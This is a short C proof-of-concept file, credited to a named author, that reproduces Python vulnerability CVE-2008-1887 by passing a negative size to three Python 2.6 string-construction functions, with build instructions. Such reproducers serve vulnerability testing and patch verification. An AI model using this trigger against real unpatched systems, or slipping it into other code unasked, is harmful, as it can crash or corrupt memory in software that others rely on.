/* Python CVE-2008-1887 reproducer 
 * Jan iankko Lieskovsky
 * gcc fromStringAndSize.c -o fromStringAndSize -ldl -lutil -lm -lpthread -I /usr/local/include/python2.6/ /usr/local/lib/python2.6/config/libpython2.6.a 
 * ./fromStringAndSize
 */

#include "Python.h"

int main(int argc, char** argv) {

char sample[20] = "sample";
char* str = sample;
int size = -1;
static PyObject *opString;
static PyObject *opUnicode;
static PyObject *opByteArray; 

opString = PyString_FromStringAndSize(str, size);
opUnicode = PyUnicode_FromStringAndSize(str, size);
opByteArray = PyByteArray_FromStringAndSize(str, size); 

return 0;
}
